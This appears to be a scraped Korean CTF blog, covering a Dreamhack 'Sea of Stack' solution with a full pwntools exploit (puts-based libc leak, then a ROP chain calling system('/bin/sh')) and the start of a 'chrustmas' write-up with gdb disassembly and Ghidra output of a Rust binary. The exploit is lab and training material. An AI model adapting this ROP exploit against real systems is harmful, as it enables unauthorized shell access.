0x401426 (unsafe_func) ◂— endbr64 *RDI 0xa *RSI 2 *R8 0x1999999999999999 *R9 0 *R10 0x7d89cf3beac0 ◂— 0x100000000 *R11 0x7d89cf3bf3c0 ◂— 0x2000200020002 R12 0x7fffe0176788 —▸ 0x7fffe0176fd3 ◂— 0x4c00626f72702f2e /* \u0026#39;./prob\u0026#39; */ R13 0x401446 (main) ◂— endbr64 R14 0x403d98 (__do_global_dtors_aux_fini_array_entry) —▸ 0x401200 (__do_global_dtors_aux) ◂— endbr64 R15 0x7d89cf555040 (_rtld_global) —▸ 0x7d89cf5562e0 ◂— 0 *RBP 0x7fffe0166bf0 —▸ 0x7fffe0166c30 —▸ 0x7fffe0166c70 —▸ 0x7fffe0166cb0 —▸ 0x7fffe0166cf0 ◂— ... *RSP 0x7fffe0166bf0 —▸ 0x7fffe0166c30 —▸ 0x7fffe0166c70 —▸ 0x7fffe0166cb0 —▸ 0x7fffe0166cf0 ◂— ... *RIP 0x40142e (unsafe_func+8) ◂— sub rsp, 0x20 위와 같이 rbp, rsp 값이 현저히 낮아진 것을 볼 수 있다. 스택 위치가 낮아짐에 따라서 0x10000값을 입력하여 오버플로우 공격이 가능하다.\n카나리도 안걸려 있기 때문에 이후는 일반적인 ROP와 동일하다. 함수의 인자를 주기 위해 pop rdi; ret;가젯을 찾아준다. 이를 통해 puts 함수의 plt와 got를 이용해서 libc 주소를 leak 한다. 이후 다시 unsafe 함수를 호출하여 가젯을 이용해 /bin/sh를 인자로 하여 system함수를 실행한다.\n아래는 익스플로잇 코드이다.\nfrom pwn import * context.update(arch=\u0026#39;amd64\u0026#39;, os=\u0026#39;linux\u0026#39;) #p = remote(\u0026#34;host3.dreamhack.games\u0026#34;, 19571) p = process(\u0026#34;./prob\u0026#34;, env={\u0026#39;LD_PRELOAD\u0026#39;: \u0026#39;./libc.so.6\u0026#39;}) # p = process(\u0026#34;./prob\u0026#34;) libc = ELF(\u0026#34;./libc.so.6\u0026#34;) p.sendafter(b\u0026#34;\u0026gt; \u0026#34;, b\u0026#34;Decision2Solve\\x00\\x00\u0026#34;) safe_addr = 0x404010 main_addr = 0x401446 p.send(p64(safe_addr)) p.send(b\u0026#34;\\x46\\x14\\x40\\x00\\x00\\x00\u0026#34;) p.sendafter(b\u0026#34;\u0026gt; \u0026#34;, b\u0026#34;1\u0026#34;) print(p.recv(79)) i = 0 while True: if (i == 1000): break p.sendafter(b\u0026#34;\u0026gt; \u0026#34;, b\u0026#34;a\u0026#34;*0x10) p.sendafter(b\u0026#34;\u0026gt; \u0026#34;, b\u0026#34;1\u0026#34;) # sleep(0.01) i += 1 print(i) p.sendafter(b\u0026#34;\u0026gt; \u0026#34;, b\u0026#34;/bin/cat /flag\\x00\\x00\u0026#34;) print(\u0026#34;1\u0026#34;) puts_plt = 0x04010c0 puts_got = 0x403fa8 prdi_prbp_ret = 0x40129b unsafe_func = 0x0401426 p.sendafter(b\u0026#34;\u0026gt; \u0026#34;, b\u0026#34;2\u0026#34;) pl = b\u0026#34;a\u0026#34;*32 pl += b\u0026#34;b\u0026#34;*8 pl += p64(0x40129e) pl += p64(prdi_prbp_ret) pl += p64(puts_got) pl += b\u0026#34;c\u0026#34;*8 pl += p64(puts_plt) pl += p64(unsafe_func) pl += b\u0026#34;c\u0026#34;*(0x10000-len(pl)) p.send(pl) libc_leak = u64(p.recv(6)[:]+b\u0026#34;\\x00\\x00\u0026#34;) print(f\u0026#34;[+] leak addr : {hex(libc_leak)}\u0026#34;) offset = 0x58ED0 libc_base = libc_leak - offset print(f\u0026#34;[+] libc base addr : {hex(libc_base)}\u0026#34;) system = libc_base+0x28D64 print(f\u0026#34;[+] system addr : {hex(system)}\u0026#34;) binsh = libc_base+0x1B0698 print(f\u0026#34;[+] /bin/sh addr : {hex(binsh)}\u0026#34;) exit = 0x04012f6 pl = p64(binsh)*4 pl += p64(binsh) pl += p64(0x40129e) pl += p64(0x40129e) pl += p64(0x40129e) pl += p64(0x40129e) pl += p64(prdi_prbp_ret) pl += p64(binsh) pl += p64(binsh) pl += p64(system) pl += p64(exit) pl += b\u0026#34;\\x00\u0026#34;*(0x10000-len(pl)) p.send(pl) p.interactive() ","permalink":"https://dig06161.github.io/2024/08/17/dreamhack-pwn-Sea-of-Stack/","summary":"드림핵 포너블 Sea of Stack 문제풀이","title":"[Dreamhack] PWN Sea of Stack"},{"content":"비오비 수료 후에 학교를 다니면서 보안기사를 취득하느라, 오랜만에 풀어보는 워게임이다. v8 익스플로잇도 공부중인데 해당 내용은 기회가 되면 포스팅 할 예정이다. 이번 문제는 크리스마스 ctf에 출제된 chrustmas 라는 문제이다. 시스템 해킹으로 스코어는 3Level을 가지고 있다.\n우선 먼저 실행을 해보자. 바이너리를 실행하면 다음과 같은 화면을 보게된다. 문자열을 입력 받으면 페스워드 검증을 한다고 하고 16자리를 입력 받아 참 거짓 유무를 판단한다.\nroot@7cb73a3db36b:/home/dreamhack/chrustmas/deploy# ./prob Password \u0026gt;\u0026gt; asdf [97, 115, 100, 102, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0] Solo can\u0026#39;t hack me! root@7cb73a3db36b:/home/dreamhack/chrustmas/deploy# ./prob Password \u0026gt;\u0026gt; aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa Password maximum size is 16... root@7cb73a3db36b:/home/dreamhack/chrustmas/deploy# root@7cb73a3db36b:/home/dreamhack/chrustmas/deploy# ./prob Password \u0026gt;\u0026gt; aaaaaaaaaaaaaaaabbbb [97, 97, 97, 97, 97, 97, 97, 97, 97, 97, 97, 97, 97, 97, 97, 97] Solo can\u0026#39;t hack me! root@7cb73a3db36b:/home/dreamhack/chrustmas/deploy# 위 내용을 보면 무언가 이상하다. max size는 16이라고 하는데 마지막 실행 구문을 보면 4바이트를 추가로 입력 가능하다. gdb를 통해서 살펴보자.\npwndbg\u0026gt; disass main Dump of assembler code for function main: 0x000000000000af70 \u0026lt;+0\u0026gt;: push rax 0x000000000000af71 \u0026lt;+1\u0026gt;: mov rdx,rsi 0x000000000000af74 \u0026lt;+4\u0026gt;: movsxd rsi,edi 0x000000000000af77 \u0026lt;+7\u0026gt;: lea rdi,[rip+0xfffffffffffffc12] # 0xab90 \u0026lt;_ZN4prob4main17h5c6c2c95bc71f04bE\u0026gt; 0x000000000000af7e \u0026lt;+14\u0026gt;: xor ecx,ecx 0x000000000000af80 \u0026lt;+16\u0026gt;: call 0x93c0 \u0026lt;_ZN3std2rt10lang_start17hf7281ca14fc25c65E\u0026gt; 0x000000000000af85 \u0026lt;+21\u0026gt;: pop rcx 0x000000000000af86 \u0026lt;+22\u0026gt;: ret End of assembler dump. pwndbg\u0026gt; disass _ZN4prob4main17h5c6c2c95bc71f04bE Dump of assembler code for function _ZN4prob4main17h5c6c2c95bc71f04bE: 0x000000000000ab90 \u0026lt;+0\u0026gt;: sub rsp,0x208 0x000000000000ab97 \u0026lt;+7\u0026gt;: lea rsi,[rip+0x54532] # 0x5f0d0 0x000000000000ab9e \u0026lt;+14\u0026gt;: lea rdi,[rsp+0x98] 0x000000000000aba6 \u0026lt;+22\u0026gt;: mov QWORD PTR [rsp+0x80],rdi 0x000000000000abae \u0026lt;+30\u0026gt;: mov edx,0x1 0x000000000000abb3 \u0026lt;+35\u0026gt;: call 0x97d0 \u0026lt;_ZN4core3fmt9Arguments9new_const17h795ce44452297527E\u0026gt; 0x000000000000abb8 \u0026lt;+40\u0026gt;: mov rdi,QWORD PTR [rsp+0x80] 0x000000000000abc0 \u0026lt;+48\u0026gt;: lea rax,[rip+0x1a1b9] # 0x24d80 \u0026lt;_ZN3std2io5stdio6_print17h63a00216c7cec9b0E\u0026gt; 0x000000000000abc7 \u0026lt;+55\u0026gt;: call rax 0x000000000000abc9 \u0026lt;+57\u0026gt;: lea rdi,[rsp+0xc8] 0x000000000000abd1 \u0026lt;+65\u0026gt;: call 0xa150 \u0026lt;_ZN5alloc6string6String3new17h7e53fa0b3a6780a1E\u0026gt; 0x000000000000abd6 \u0026lt;+70\u0026gt;: lea rax,[rip+0x19623] # 0x24200 \u0026lt;_ZN3std2io5stdio6stdout17h4f8abd8acea54c79E\u0026gt; 0x000000000000abdd \u0026lt;+77\u0026gt;: call rax 0x000000000000abdf \u0026lt;+79\u0026gt;: mov QWORD PTR [rsp+0x88],rax 0x000000000000abe7 \u0026lt;+87\u0026gt;: jmp 0xac11 \u0026lt;_ZN4prob4main17h5c6c2c95bc71f04bE+129\u0026gt; 0x000000000000abe9 \u0026lt;+89\u0026gt;: lea rdi,[rsp+0xc8] 0x000000000000abf1 \u0026lt;+97\u0026gt;: call 0x9970 \u0026lt;_ZN4core3ptr42drop_in_place$LT$alloc..string..String$GT$17hdb4d12f0836ed276E\u0026gt; 0x000000000000abf6 \u0026lt;+102\u0026gt;: jmp 0xaf57 \u0026lt;_ZN4prob4main17h5c6c2c95bc71f04bE+967\u0026gt; 0x000000000000abfb \u0026lt;+107\u0026gt;: mov rcx,rax 0x000000000000abfe \u0026lt;+110\u0026gt;: mov eax,edx 0x000000000000ac00 \u0026lt;+112\u0026gt;: mov QWORD PTR [rsp+0x1e8],rcx 0x000000000000ac08 \u0026lt;+120\u0026gt;: mov DWORD PTR [rsp+0x1f0],eax 0x000000000000ac0f \u0026lt;+127\u0026gt;: jmp 0xabe9 \u0026lt;_ZN4prob4main17h5c6c2c95bc71f04bE+89\u0026gt; 0x000000000000ac11 \u0026lt;+129\u0026gt;: mov rax,QWORD PTR [rsp+0x88] 0x000000000000ac19 \u0026lt;+137\u0026gt;: mov QWORD PTR [rsp+0xe8],rax 0x000000000000ac21 \u0026lt;+145\u0026gt;: lea rax,[rip+0x19608] # 0x24230 \u0026lt;_ZN57_$LT$std..io..stdio..Stdout$u20$as$u20$std..io..Write$GT$5flush17h788b0765478199e0E\u0026gt; 0x000000000000ac28 \u0026lt;+152\u0026gt;: lea rdi,[rsp+0xe8] 0x000000000000ac30 \u0026lt;+160\u0026gt;: call rax 0x000000000000ac32 \u0026lt;+162\u0026gt;: mov QWORD PTR [rsp+0x78],rax 0x000000000000ac37 \u0026lt;+167\u0026gt;: jmp 0xac39 \u0026lt;_ZN4prob4main17h5c6c2c95bc71f04bE+169\u0026gt; 0x000000000000ac39 \u0026lt;+169\u0026gt;: mov rdi,QWORD PTR [rsp+0x78] 0x000000000000ac3e \u0026lt;+174\u0026gt;: call 0xa5d0 \u0026lt;_ZN79_$LT$core..result..Result$LT$T$C$E$GT$$u20$as$u20$core..ops..try_trait..Try$GT$6branch17hf2b8d074e60fa146E\u0026gt; 0x000000000000ac43 \u0026lt;+179\u0026gt;: mov QWORD PTR [rsp+0x70],rax 0x000000000000ac48 \u0026lt;+184\u0026gt;: jmp 0xac4a \u0026lt;_ZN4prob4main17h5c6c2c95bc71f04bE+186\u0026gt; 0x000000000000ac4a \u0026lt;+186\u0026gt;: mov rax,QWORD PTR [rsp+0x70] 0x000000000000ac4f \u0026lt;+191\u0026gt;: mov QWORD PTR [rsp+0xe0],rax 0x000000000000ac57 \u0026lt;+199\u0026gt;: mov rdx,QWORD PTR [rsp+0xe0] 0x000000000000ac5f \u0026lt;+207\u0026gt;: mov eax,0x1 0x000000000000ac64 \u0026lt;+212\u0026gt;: xor ecx,ecx 0x000000000000ac66 \u0026lt;+214\u0026gt;: cmp rdx,0x0 0x000000000000ac6a \u0026lt;+218\u0026gt;: cmove rax,rcx 0x000000000000ac6e \u0026lt;+222\u0026gt;: cmp rax,0x0 0x000000000000ac72 \u0026lt;+226\u0026gt;: jne 0xac84 \u0026lt;_ZN4prob4main17h5c6c2c95bc71f04bE+244\u0026gt; 0x000000000000ac74 \u0026lt;+228\u0026gt;: lea rax,[rip+0x19385] # 0x24000 \u0026lt;_ZN3std2io5stdio5stdin17h586bfeb28b16622bE\u0026gt; 0x000000000000ac7b \u0026lt;+235\u0026gt;: call rax 0x000000000000ac7d \u0026lt;+237\u0026gt;: mov QWORD PTR [rsp+0x68],rax 0x000000000000ac82 \u0026lt;+242\u0026gt;: jmp 0xaca2 \u0026lt;_ZN4prob4main17h5c6c2c95bc71f04bE+274\u0026gt; 0x000000000000ac84 \u0026lt;+244\u0026gt;: mov rdi,QWORD PTR [rsp+0xe0] 0x000000000000ac8c \u0026lt;+252\u0026gt;: lea rsi,[rip+0x544a5] # 0x5f138 0x000000000000ac93 \u0026lt;+259\u0026gt;: call 0x8e80 \u0026lt;_ZN153_$LT$core..result..Result$LT$T$C$F$GT$$u20$as$u20$core..ops..try_trait..FromResidual$LT$core..result..Result$LT$core..convert..Infallible$C$E$GT$$GT$$GT$13from_residual17hd4c9315abd7ba83dE\u0026gt; 0x000000000000ac98 \u0026lt;+264\u0026gt;: mov QWORD PTR [rsp+0x60],rax 0x000000000000ac9d \u0026lt;+269\u0026gt;: jmp 0xaf3d \u0026lt;_ZN4prob4main17h5c6c2c95bc71f04bE+941\u0026gt; 0x000000000000aca2 \u0026lt;+274\u0026gt;: mov rax,QWORD PTR [rsp+0x68] 0x000000000000aca7 \u0026lt;+279\u0026gt;: mov QWORD PTR [rsp+0x110],rax 0x000000000000acaf \u0026lt;+287\u0026gt;: lea rax,[rip+0x1937a] # 0x24030 \u0026lt;_ZN3std2io5stdio5Stdin9read_line17hba9f1b4004981d34E\u0026gt; 0x000000000000acb6 \u0026lt;+294\u0026gt;: lea rdi,[rsp+0x100] 0x000000000000acbe \u0026lt;+302\u0026gt;: lea rsi,[rsp+0x110] 0x000000000000acc6 \u0026lt;+310\u0026gt;: lea rdx,[rsp+0xc8] 0x000000000000acce \u0026lt;+318\u0026gt;: call rax 0x000000000000acd0 \u0026lt;+320\u0026gt;: jmp 0xacd2 \u0026lt;_ZN4prob4main17h5c6c2c95bc71f04bE+322\u0026gt; 0x000000000000acd2 \u0026lt;+322\u0026gt;: lea rdi,[rsp+0xf0] 0x000000000000acda \u0026lt;+330\u0026gt;: lea rsi,[rsp+0x100] 0x000000000000ace2 \u0026lt;+338\u0026gt;: call 0xa4e0 \u0026lt;_ZN79_$LT$core..result..Result$LT$T$C$E$GT$$u20$as$u20$core..ops..try_trait..Try$GT$6branch17ha604e71f9b0fb167E\u0026gt; 0x000000000000ace7 \u0026lt;+343\u0026gt;: jmp 0xace9 \u0026lt;_ZN4prob4main17h5c6c2c95bc71f04bE+345\u0026gt; 0x000000000000ace9 \u0026lt;+345\u0026gt;: cmp QWORD PTR [rsp+0xf0],0x0 0x000000000000acf2 \u0026lt;+354\u0026gt;: jne 0xad0d \u0026lt;_ZN4prob4main17h5c6c2c95bc71f04bE+381\u0026gt; 0x000000000000acf4 \u0026lt;+356\u0026gt;: lea rdi,[rsp+0xc8] 0x000000000000acfc \u0026lt;+364\u0026gt;: call 0xa2e0 \u0026lt;_ZN65_$LT$alloc..string..String$u20$as$u20$core..ops..deref..Deref$GT$5deref17h2a8d3d76c5823b24E\u0026gt; 0x000000000000ad01 \u0026lt;+369\u0026gt;: mov QWORD PTR [rsp+0x50],rdx 0x000000000000ad06 \u0026lt;+374\u0026gt;: mov QWORD PTR [rsp+0x58],rax 0x000000000000ad0b \u0026lt;+379\u0026gt;: jmp 0xad2b \u0026lt;_ZN4prob4main17h5c6c2c95bc71f04bE+411\u0026gt; 0x000000000000ad0d \u0026lt;+381\u0026gt;: mov rdi,QWORD PTR [rsp+0xf8] 0x000000000000ad15 \u0026lt;+389\u0026gt;: lea rsi,[rip+0x54404] # 0x5f120 0x000000000000ad1c \u0026lt;+396\u0026gt;: call 0x8e80 \u0026lt;_ZN153_$LT$core..result..Result$LT$T$C$F$GT$$u20$as$u20$core..ops..try_trait..FromResidual$LT$core..result..Result$LT$core..convert..Infallible$C$E$GT$$GT$$GT$13from_residual17hd4c9315abd7ba83dE\u0026gt; 0x000000000000ad21 \u0026lt;+401\u0026gt;: mov QWORD PTR [rsp+0x48],rax 0x000000000000ad26 \u0026lt;+406\u0026gt;: jmp 0xaf2e \u0026lt;_ZN4prob4main17h5c6c2c95bc71f04bE+926\u0026gt; 0x000000000000ad2b \u0026lt;+411\u0026gt;: mov rsi,QWORD PTR [rsp+0x50] 0x000000000000ad30 \u0026lt;+416\u0026gt;: mov rdi,QWORD PTR [rsp+0x58] 0x000000000000ad35 \u0026lt;+421\u0026gt;: call 0x9f30 \u0026lt;_ZN4core3str21_$LT$impl$u20$str$GT$4trim17h93c161271e464c8bE\u0026gt; 0x000000000000ad3a \u0026lt;+426\u0026gt;: mov QWORD PTR [rsp+0x38],rdx 0x000000000000ad3f \u0026lt;+431\u0026gt;: mov QWORD PTR [rsp+0x40],rax 0x000000000000ad44 \u0026lt;+436\u0026gt;: jmp 0xad46 \u0026lt;_ZN4prob4main17h5c6c2c95bc71f04bE+438\u0026gt; 0x000000000000ad46 \u0026lt;+438\u0026gt;: mov rsi,QWORD PTR [rsp+0x38] 0x000000000000ad4b \u0026lt;+443\u0026gt;: mov rdi,QWORD PTR [rsp+0x40] 0x000000000000ad50 \u0026lt;+448\u0026gt;: mov rax,rdi 0x000000000000ad53 \u0026lt;+451\u0026gt;: mov QWORD PTR [rsp+0x20],rax 0x000000000000ad58 \u0026lt;+456\u0026gt;: mov rax,rsi 0x000000000000ad5b \u0026lt;+459\u0026gt;: mov QWORD PTR [rsp+0x28],rax 0x000000000000ad60 \u0026lt;+464\u0026gt;: xorps xmm0,xmm0 0x000000000000ad63 \u0026lt;+467\u0026gt;: movaps XMMWORD PTR [rsp+0x130],xmm0 0x000000000000ad6b \u0026lt;+475\u0026gt;: movups xmm0,XMMWORD PTR [rsp+0x130] 0x000000000000ad73 \u0026lt;+483\u0026gt;: movups XMMWORD PTR [rsp+0x118],xmm0 0x000000000000ad7b \u0026lt;+491\u0026gt;: lea rax,[rip+0xfffffffffffffc7e] # 0xaa00 \u0026lt;_ZN4prob4rust17hdda0a7f774721c38E\u0026gt; 0x000000000000ad82 \u0026lt;+498\u0026gt;: mov QWORD PTR [rsp+0x128],rax 0x000000000000ad8a \u0026lt;+506\u0026gt;: call 0x9f20 \u0026lt;_ZN4core3str21_$LT$impl$u20$str$GT$3len17h9e7fb9204b425ad0E\u0026gt; 0x000000000000ad8f \u0026lt;+511\u0026gt;: mov QWORD PTR [rsp+0x30],rax 0x000000000000ad94 \u0026lt;+516\u0026gt;: jmp 0xad96 \u0026lt;_ZN4prob4main17h5c6c2c95bc71f04bE+518\u0026gt; 0x000000000000ad96 \u0026lt;+518\u0026gt;: mov rax,QWORD PTR [rsp+0x30] 0x000000000000ad9b \u0026lt;+523\u0026gt;: cmp rax,0x16 0x000000000000ad9f \u0026lt;+527\u0026gt;: ja 0xada3 \u0026lt;_ZN4prob4main17h5c6c2c95bc71f04bE+531\u0026gt; 0x000000000000ada1 \u0026lt;+529\u0026gt;: jmp 0xadc1 \u0026lt;_ZN4prob4main17h5c6c2c95bc71f04bE+561\u0026gt; 0x000000000000ada3 \u0026lt;+531\u0026gt;: lea rsi,[rip+0x54366] # 0x5f110 0x000000000000adaa \u0026lt;+538\u0026gt;: lea rdi,[rsp+0x148] 0x000000000000adb2 \u0026lt;+546\u0026gt;: mov edx,0x1 0x000000000000adb7 \u0026lt;+551\u0026gt;: call 0x97d0 \u0026lt;_ZN4core3fmt9Arguments9new_const17h795ce44452297527E\u0026gt; 0x000000000000adbc \u0026lt;+556\u0026gt;: jmp 0xaf00 \u0026lt;_ZN4prob4main17h5c6c2c95bc71f04bE+880\u0026gt; 0x000000000000adc1 \u0026lt;+561\u0026gt;: jmp 0xadc3 \u0026lt;_ZN4prob4main17h5c6c2c95bc71f04bE+563\u0026gt; 0x000000000000adc3 \u0026lt;+563\u0026gt;: mov rsi,QWORD PTR [rsp+0x28] 0x000000000000adc8 \u0026lt;+568\u0026gt;: mov rdi,QWORD PTR [rsp+0x20] 0x000000000000adcd \u0026lt;+573\u0026gt;: call 0x9f20 \u0026lt;_ZN4core3str21_$LT$impl$u20$str$GT$3len17h9e7fb9204b425ad0E\u0026gt; 0x000000000000add2 \u0026lt;+578\u0026gt;: mov QWORD PTR [rsp+0x18],rax 0x000000000000add7 \u0026lt;+583\u0026gt;: jmp 0xadd9 \u0026lt;_ZN4prob4main17h5c6c2c95bc71f04bE+585\u0026gt; 0x000000000000add9 \u0026lt;+585\u0026gt;: mov rdx,QWORD PTR [rsp+0x18] 0x000000000000adde \u0026lt;+590\u0026gt;: mov rsi,QWORD PTR [rsp+0x20] 0x000000000000ade3 \u0026lt;+595\u0026gt;: lea rdi,[rsp+0x118] 0x000000000000adeb \u0026lt;+603\u0026gt;: mov rax,QWORD PTR [rip+0x5702e] # 0x61e20 0x000000000000adf2 \u0026lt;+610\u0026gt;: call rax 0x000000000000adf4 \u0026lt;+612\u0026gt;: lea rax,[rsp+0x118] 0x000000000000adfc \u0026lt;+620\u0026gt;: mov QWORD PTR [rsp+0x1f8],rax 0x000000000000ae04 \u0026lt;+628\u0026gt;: lea rax,[rip+0xfffffffffffff195] # 0x9fa0 \u0026lt;_ZN4core5array69_$LT$impl$u20$core..fmt..Debug$u20$for$u20$$u5b$T$u3b$$u20$N$u5d$$GT$3fmt17h991f9fda7cad7759E\u0026gt; 0x000000000000ae0b \u0026lt;+635\u0026gt;: mov QWORD PTR [rsp+0x200],rax 0x000000000000ae13 \u0026lt;+643\u0026gt;: mov rax,QWORD PTR [rsp+0x1f8] 0x000000000000ae1b \u0026lt;+651\u0026gt;: mov QWORD PTR [rsp+0x8],rax 0x000000000000ae20 \u0026lt;+656\u0026gt;: mov rax,QWORD PTR [rsp+0x200] 0x000000000000ae28 \u0026lt;+664\u0026gt;: mov QWORD PTR [rsp+0x10],rax 0x000000000000ae2d \u0026lt;+669\u0026gt;: mov rax,QWORD PTR [rsp+0x10] 0x000000000000ae32 \u0026lt;+674\u0026gt;: mov rcx,QWORD PTR [rsp+0x8] 0x000000000000ae37 \u0026lt;+679\u0026gt;: mov QWORD PTR [rsp+0x1a8],rcx 0x000000000000ae3f \u0026lt;+687\u0026gt;: mov QWORD PTR [rsp+0x1b0],rax 0x000000000000ae47 \u0026lt;+695\u0026gt;: lea rsi,[rip+0x54292] # 0x5f0e0 0x000000000000ae4e \u0026lt;+702\u0026gt;: lea rdi,[rsp+0x178] 0x000000000000ae56 \u0026lt;+710\u0026gt;: mov edx,0x2 0x000000000000ae5b \u0026lt;+715\u0026gt;: lea rcx,[rsp+0x1a8] 0x000000000000ae63 \u0026lt;+723\u0026gt;: mov r8d,0x1 0x000000000000ae69 \u0026lt;+729\u0026gt;: call 0x96d0 \u0026lt;_ZN4core3fmt9Arguments6new_v117h9deafe6774c9e956E\u0026gt; 0x000000000000ae6e \u0026lt;+734\u0026gt;: jmp 0xae70 \u0026lt;_ZN4prob4main17h5c6c2c95bc71f04bE+736\u0026gt; 0x000000000000ae70 \u0026lt;+736\u0026gt;: lea rax,[rip+0x19f09] # 0x24d80 \u0026lt;_ZN3std2io5stdio6_print17h63a00216c7cec9b0E\u0026gt; 0x000000000000ae77 \u0026lt;+743\u0026gt;: lea rdi,[rsp+0x178] 0x000000000000ae7f \u0026lt;+751\u0026gt;: call rax 0x000000000000ae81 \u0026lt;+753\u0026gt;: jmp 0xae83 \u0026lt;_ZN4prob4main17h5c6c2c95bc71f04bE+755\u0026gt; 0x000000000000ae83 \u0026lt;+755\u0026gt;: mov rax,QWORD PTR [rsp+0x128] 0x000000000000ae8b \u0026lt;+763\u0026gt;: lea rcx,[rip+0xfffffffffffffb7e] # 0xaa10 \u0026lt;_ZN4prob3win17h2a8d1a9bcf67a7d9E\u0026gt; 0x000000000000ae92 \u0026lt;+770\u0026gt;: cmp rax,rcx 0x000000000000ae95 \u0026lt;+773\u0026gt;: jne 0xaea3 \u0026lt;_ZN4prob4main17h5c6c2c95bc71f04bE+787\u0026gt; 0x000000000000ae97 \u0026lt;+775\u0026gt;: mov rax,QWORD PTR [rsp+0x128] 0x000000000000ae9f \u0026lt;+783\u0026gt;: call rax 0x000000000000aea1 \u0026lt;+785\u0026gt;: jmp 0xaebe \u0026lt;_ZN4prob4main17h5c6c2c95bc71f04bE+814\u0026gt; 0x000000000000aea3 \u0026lt;+787\u0026gt;: lea rsi,[rip+0x54256] # 0x5f100 0x000000000000aeaa \u0026lt;+794\u0026gt;: lea rdi,[rsp+0x1b8] 0x000000000000aeb2 \u0026lt;+802\u0026gt;: mov edx,0x1 0x000000000000aeb7 \u0026lt;+807\u0026gt;: call 0x97d0 \u0026lt;_ZN4core3fmt9Arguments9new_const17h795ce44452297527E\u0026gt; 0x000000000000aebc \u0026lt;+812\u0026gt;: jmp 0xaedb \u0026lt;_ZN4prob4main17h5c6c2c95bc71f04bE+843\u0026gt; 0x000000000000aebe \u0026lt;+814\u0026gt;: jmp 0xaec0 \u0026lt;_ZN4prob4main17h5c6c2c95bc71f04bE+816\u0026gt; 0x000000000000aec0 \u0026lt;+816\u0026gt;: mov QWORD PTR [rsp+0x90],0x0 0x000000000000aecc \u0026lt;+828\u0026gt;: lea rdi,[rsp+0xc8] 0x000000000000aed4 \u0026lt;+836\u0026gt;: call 0x9970 \u0026lt;_ZN4core3ptr42drop_in_place$LT$alloc..string..String$GT$17hdb4d12f0836ed276E\u0026gt; 0x000000000000aed9 \u0026lt;+841\u0026gt;: jmp 0xaef0 \u0026lt;_ZN4prob4main17h5c6c2c95bc71f04bE+864\u0026gt; 0x000000000000aedb \u0026lt;+843\u0026gt;: lea rax,[rip+0x19e9e] # 0x24d80 \u0026lt;_ZN3std2io5stdio6_print17h63a00216c7cec9b0E\u0026gt; 0x000000000000aee2 \u0026lt;+850\u0026gt;: lea rdi,[rsp+0x1b8] 0x000000000000aeea \u0026lt;+858\u0026gt;: call rax 0x000000000000aeec \u0026lt;+860\u0026gt;: jmp 0xaeee \u0026lt;_ZN4prob4main17h5c6c2c95bc71f04bE+862\u0026gt; 0x000000000000aeee \u0026lt;+862\u0026gt;: jmp 0xaec0 \u0026lt;_ZN4prob4main17h5c6c2c95bc71f04bE+816\u0026gt; 0x000000000000aef0 \u0026lt;+864\u0026gt;: mov rax,QWORD PTR [rsp+0x90] 0x000000000000aef8 \u0026lt;+872\u0026gt;: add rsp,0x208 0x000000000000aeff \u0026lt;+879\u0026gt;: ret 0x000000000000af00 \u0026lt;+880\u0026gt;: lea rax,[rip+0x19e79] # 0x24d80 \u0026lt;_ZN3std2io5stdio6_print17h63a00216c7cec9b0E\u0026gt; 0x000000000000af07 \u0026lt;+887\u0026gt;: lea rdi,[rsp+0x148] 0x000000000000af0f \u0026lt;+895\u0026gt;: call rax 0x000000000000af11 \u0026lt;+897\u0026gt;: jmp 0xaf13 \u0026lt;_ZN4prob4main17h5c6c2c95bc71f04bE+899\u0026gt; 0x000000000000af13 \u0026lt;+899\u0026gt;: mov QWORD PTR [rsp+0x90],0x0 0x000000000000af1f \u0026lt;+911\u0026gt;: lea rdi,[rsp+0xc8] 0x000000000000af27 \u0026lt;+919\u0026gt;: call 0x9970 \u0026lt;_ZN4core3ptr42drop_in_place$LT$alloc..string..String$GT$17hdb4d12f0836ed276E\u0026gt; 0x000000000000af2c \u0026lt;+924\u0026gt;: jmp 0xaef0 \u0026lt;_ZN4prob4main17h5c6c2c95bc71f04bE+864\u0026gt; 0x000000000000af2e \u0026lt;+926\u0026gt;: mov rax,QWORD PTR [rsp+0x48] 0x000000000000af33 \u0026lt;+931\u0026gt;: mov QWORD PTR [rsp+0x90],rax 0x000000000000af3b \u0026lt;+939\u0026gt;: jmp 0xaf1f \u0026lt;_ZN4prob4main17h5c6c2c95bc71f04bE+911\u0026gt; 0x000000000000af3d \u0026lt;+941\u0026gt;: mov rax,QWORD PTR [rsp+0x60] 0x000000000000af42 \u0026lt;+946\u0026gt;: mov QWORD PTR [rsp+0x90],rax 0x000000000000af4a \u0026lt;+954\u0026gt;: jmp 0xaf1f \u0026lt;_ZN4prob4main17h5c6c2c95bc71f04bE+911\u0026gt; 0x000000000000af4c \u0026lt;+956\u0026gt;: lea rax,[rip+0xffffffffffffd65d] # 0x85b0 \u0026lt;_ZN4core9panicking16panic_in_cleanup17hceade526831b1e89E\u0026gt; 0x000000000000af53 \u0026lt;+963\u0026gt;: call rax 0x000000000000af55 \u0026lt;+965\u0026gt;: ud2 0x000000000000af57 \u0026lt;+967\u0026gt;: mov rdi,QWORD PTR [rsp+0x1e8] 0x000000000000af5f \u0026lt;+975\u0026gt;: call 0x6040 \u0026lt;_Unwind_Resume@plt\u0026gt; 0x000000000000af64 \u0026lt;+980\u0026gt;: ud2 보면 좀 난해하다. 처음에는 C++인줄 알았는데 러스트 기반 바이너리다. 위 부분을 ghidra 디컴파일을 통해 살펴보면 다음과 같다.\n/* prob::main */ undefined8 prob::main(void) { long lVar1; void *__src; ulong uVar2; size_t __n; undefined auVar3 [16]; undefined8 local_178; undefined8 local_170 [6]; void *local_140 [3]; long local_128; undefined8 *local_120; long local_118; undefined8 local_110; long local_108 [2]; int *local_f8; undefined4 local_f0; undefined4 uStack_ec; undefined4 uStack_e8; undefined4 uStack_e4; code *local_e0; undefined local_d8 [16]; undefined8 local_c0 [6]; undefined8 local_90 [6]; undefined4 *local_60; code *local_58; undefined8 local_50 [8]; undefined4 *local_10; code *local_8; core::fmt::Arguments::new_const(local_170,\u0026amp;DAT_0015f0d0,1); std::io::stdio::_print((size_t)local_170); alloc::string::String::new(local_140); /* try { // try from 0010abd6 to 0010abde has its CatchHandler @ 0010abfb */ local_120 = std::io::stdio::stdout(); /* try { // try from 0010ac21 to 0010add1 has its CatchHandler @ 0010abfb */ lVar1 = \u0026lt;\u0026gt;::flush(\u0026amp;local_120); local_128 = \u0026lt;\u0026gt;::branch(lVar1); if (local_128 == 0) { local_f8 = (int *)std::io::stdio::stdin(); 